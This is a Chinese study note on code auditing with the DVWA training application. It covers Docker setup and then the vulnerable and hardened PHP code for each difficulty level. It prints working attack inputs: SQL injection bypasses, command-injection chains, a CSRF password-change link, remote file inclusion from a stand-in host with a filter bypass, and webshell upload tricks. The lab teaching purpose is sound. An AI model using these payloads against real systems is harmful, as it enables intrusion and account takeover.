由DVWA_v1.9学习代码审计笔记

Docker介绍

用的是 win10 x64位版本,推荐在powershell下运行(可以解决某些脚本或指令无法运行的问题。)
https://github.com/docker/for-win/issues
本地安装默认在C盘,由win10自带的 hper-v模拟一个linux环境安装。右击docker图标下载Docker for Windows 的 GUI 管理工具 Kitematic,解压安装在C盘docker的目录下。

国外镜像源pull太慢的话可以设置为国内的加速器,在docker daemon 的"registry-mirrors": ["https://stx13k4e.mirror.aliyuncs.com"] 数组里添加国内阿里云镜像加速器
vi 输入i进入编辑模式 ESC后进入命令模式 :wq

附一些docker 在windows下常用命令笔记说明:
docker run -t -i 用镜像创建一个容器
docker run -it ubuntu bash 在bash命令行进入ubuntu;exit退出
docker start 开始该容器
docker stop 停止该容器
docker pull image 拉拽镜像
docker images 查看可用镜像
docker ps 查看运行的容器
docker ps -a 查看所有的容器
docker rmi 删除镜像
docker rm 删除容器
docker rm (docker ps -a -q) 删除当前所有容器
docker save -o <保存文件名(.tar)或路径> <要保存的镜像名> 导出镜像文件
docker load --input <要载入的文件名(.tar)或路径> 导入镜像文件

docker commit <容器id> <新名字>创建当前运行镜像的新的镜像(包含改变)
docker attach 与该容器交互
docker pull private-registry.com/user-name/ubuntu:latest 从私有Registry上拉取镜像docker tag dvwa1.9_win10 euphrat1ca/dvwa1.9_win10 给镜像加上标签
docker login 登录到dockerhub
docker push euphrat1ca/ubuntu_cn 上传到dockerhub
docker inspect --format='{{.NetworkSettings.IPAddress}}' $(docker ps -a -q) 查看所有容器ip
docker cp [OPTIONS] :本机文件路径

docker cp [OPTIONS] 本机文件路径 :容器中文件路径

docker exec -it /bin/sh 与容器交互
docker inspect 容器信息
docker build -t apache-php2 . Dockerfile创建镜像
docker tag username/name:devel 修改镜像的标签
docker run -d -p 80:80 端口映射(-d守护进程)
docker run -it env 查看HTTP_PROXY
, http_proxy

和no_proxy
的环境变量设置#由DVWA学习代码审计

Brute Force

low

'.mysql_error().'
'); if($result&&mysql_num_rows($result)==1){ //Getusersdetails $avatar=mysql_result($result,0,"avatar"); //Loginsuccessful echo"

Welcometothepasswordprotectedarea{$user}

"; echo""; } else{ //Loginfailed echo"

Usernameand/orpasswordincorrect.
"; } mysql_close(); } ?>

只对pass做了MD5处理避免了代码执行,但是对username没做过滤。所以可以用admin'# 或 admin'or'1'='1("SELECT * FROM users WHERE user = 'admin'#' AND password = '$pass';" 第二个同理)绕过。

media

'.mysql_error().'
'); if($result&&mysql_num_rows($result)==1){ //Getusersdetails $avatar=mysql_result($result,0,"avatar"); //Loginsuccessful echo"

Welcometothepasswordprotectedarea{$user}

"; echo""; } else{ //Loginfailed sleep(2); echo"

Usernameand/orpasswordincorrect.
"; } mysql_close(); } ?>

增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,”,x1a)进行转义,基本上能够抵御sql注入攻击,但是类似addslashes和mysql_real_escape_string网上已有绕过的办法。同时,$pass做了MD5校验,杜绝了通过参数password进行sql注入的可能性。但是,依然没有加入有效的防爆破机制(sleep(2)只不过耽搁会)。

high

'.mysql_error().'
'); if($result&&mysql_num_rows($result)==1){ //Getusersdetails $avatar=mysql_result($result,0,"avatar"); //Loginsuccessful echo"

Welcometothepasswordprotectedarea{$user}

"; echo""; } else{ //Loginfailed sleep(rand(0,3)); echo"

Usernameand/orpasswordincorrect.
"; } mysql_close(); } //GenerateAnti-CSRFtoken generateSessionToken(); ?>

High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度。不过类似addslashes和mysql_real_escape_string网上已有绕过的办法。通过Burp抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。不过token是可以在页面上抓取的。

impossible

增加了放暴破设置,同时使用了更为安全的PDO(PHP Data Object)机制防御sql注入(PDO扩展本身执行任何数据库操作)

命令执行注入

low

// Get input
    $target = $_REQUEST[ 'ip' ];
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "
{$cmd}
";

对输入的命令没有过滤,直接进行参数的传递。可以通过用“&&”和“;”来执行额外的命令 ping 127.0.0.1&&net user

medium

只不过是加入了一些黑名单的过滤,但是仍然不完全,比如网上给出的例子 ping 127.0.01 || net user ("||"的意思是前一个命令失败则执行下一个命令)。所以黑名单是过滤不完的

high

'&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',

黑名单列表更多了一点,同medium理。

impossible

// Split the IP into 4 octects
    $octet = explode( ".", $target );
    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

这个就有点丧心病狂了,将IP以“.”分片后,分别来判断数据类型

CSRF 跨站请求伪造

low

' . mysql_error() . '
' ); // Feedback for the user #如果相同则更改密码 echo "
Password Changed.
"; } else { // Issue with passwords matching echo "
Passwords did not match.
"; } mysql_close(); } ?>
  1. http://localhost:32774/dvwa/vulnerabilities/csrf/?password_new=password1&password_conf=password1&Change=Change#,构造此连接诱使他人管理员点击则可将密码更改为password1,前提是管理员使用了相同的浏览器打开(利用浏览器中的cookies)
  2. 攻击利用可通过网上的短网址服务对这串网址进行缩减。或者利用构造钓鱼网站或页面,在其中插入这段利用网址诱使管理员点击。

media

' . mysql_error() . '
' ); // Feedback for the user echo "
Password Changed.
"; } else { // Issue with passwords matching echo "
Passwords did not match.
"; } } else { // Didn't come from a trusted source echo "
That request didn't look correct.
"; } mysql_close(); } ?>
  1. eregi()检查了保留变量 HTTP_REFERER中是否包含SERVER_NAME
  1. 验证是否包含了上图如主机名等关键字,如果没有则判断失败。只需要在http包中加入关键字即可绕过,比如构造的攻击页面名即为主机名loclahost:32774.html

high

if( isset( $_GET[ 'Change' ] ) ) { 
    // Check Anti-CSRF token        #用户每次访问页面都会产生一个随机token,发起请求时先验证token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

  1. 加入了 token验证
  2. 利用方面可以通过向目标主机植入木马获取token并更改密码,或者利用存储型XSS获取token

impossible

1.加入了要求输入原密码的验证,简单粗暴。使用了PDO防注入

file inclusion文件包含

low

$file = $_GET[ 'page' ]; 
  1. 可在链接 http://localhost:32774/dvwa/vulnerabilities/fi/?page=file1.php “=”后面跟文件路径读取服务器本地文件 linux / win \ ..跨目录
  2. 当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。 localhost:32774/dvwa/vulnerabilities/fi/?page=http://xxx.com/1.txt

media

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
  1. 使用str_replace()函数,对参数中的某些字符替换为空字符。 page=hthttp://tp://xxx.com/1.txt ,利用双写绕过规则,替换后则正好构成链接,远程执行命令。本地文件包含同理。且绝对路径不受影响。

high

if( !fnmatch( "file*", $file ) && $file != "include.php" ) 
  1. 使用了fnmatch()函数,要求提交的url中必须包含为file开头,可以利用windows下的 File协议,基本的格式如下:file:///文件路径

impossible

if($file!="include.php"&&$file!="file1.php"&&$file!="file2.php"&&$file!="file3.php"){

采用白名单验证,要求提交的参数必须包括这三个之一

file upload文件上传

low

$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
 
    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '
Your image was not uploaded.
'; } else { // Yes! echo "
{$target_path} succesfully uploaded!
";
  1. 这里对上传的文件没有做任何的限制,而且最后还会判断是否上传成功并返回上传路径。所以直接上传一句话用菜刀连接就可以了。

media

    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
 
    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
  1. 代码对名称、类型和大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB)。
  2. 这里我们选择讲一句话木马的后缀改为 “.jpg”,然后上传的时候用burp更改上传文件类型(记得检查长度“Content-Length:”)
  3. 接着用菜刀连接即可。
  4. 在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,所以可以把上传文件命名为yijuhua.php%00.png

high

strrpos( $uploaded_name, '.' )
strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

  1. 第一个strrpos()先读取上传文件最后一个“.”后的文件名,最后在与上传文件的最后文件名比对,如果相同才可以上传。
  2. getimagesize( )函数会读取文件的头信息,要求头信息必须为jpg、png、jpeg的图片。
  3. 网上给出的是用文件包含和%00截断和命令行注入直接改名字,但这里我可能是因为配置问题一直没成功。

impossible

$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

// Generate Anti-CSRF token
generateSessionToken();

  1. 增加了文件名的md5验证,审核了文件内容,最后也加入了token验证。导致攻击者无法上传恶意脚本。

第六个不安全的验证码

  1. 因为我可能配置有点问题,这里没办法实验╮(╯▽╰)╭
  2. 大概思路和CSRF套路一样,更改密码时需要提交验证码,构造钓鱼页面向用户发送含有更改密码连接的页面诱使其点击。

sql injection sql注入

手工注入思路:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据

low

$id = $_REQUEST[ 'id' ];
 
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '
' . mysql_error() . '
' );
  1. 对来自客户端的参数“id”没有进行任何的过滤,直接查询。
  2. 先通过 “?id=1 and 1=1”与“?id=1' and 1=1’”判断出为字符型注入(1为数字,2为字符)

media

mysql_real_escape_string( $id )
  1. 使用mysql_real_escape_string()函数对id中的特殊符号进行转义。使用了下来菜单的方式限制了输入,但是用burp抓包以后依然可以提交特殊语句。
  2. 根据提交特殊语句判断为数字型注入
  3. 在诸如过程中也许会遇到特殊字符转义,可以用二进制的方式跳过,如 ’users ’ = 0×7573657273

high

 $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 
  1. LIMT 1 限制每次只出现一个结果,但是可以通过 “#”将其注释掉

impossible

// Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();
 
        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];
  1. 采用了PDO技术将代码与数据分离开,而且确保只有在数据为一行的情况下才可以输出。最后加入了token验证。

sql injection blind sql盲注

原理和sql注入类似,但是隐藏了错误信息,只返回对、错

XSS(Reflected) 反射性XSS

low

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '
Hello ' . $_GET[ 'name' ] . '
';
  1. 对参数未做任何处理,直接显示
  2. 验证成功,弹出提示框。

media

$name = str_replace( '
                    
                    

你可能感兴趣的:(由DVWA_v1.9学习代码审计笔记)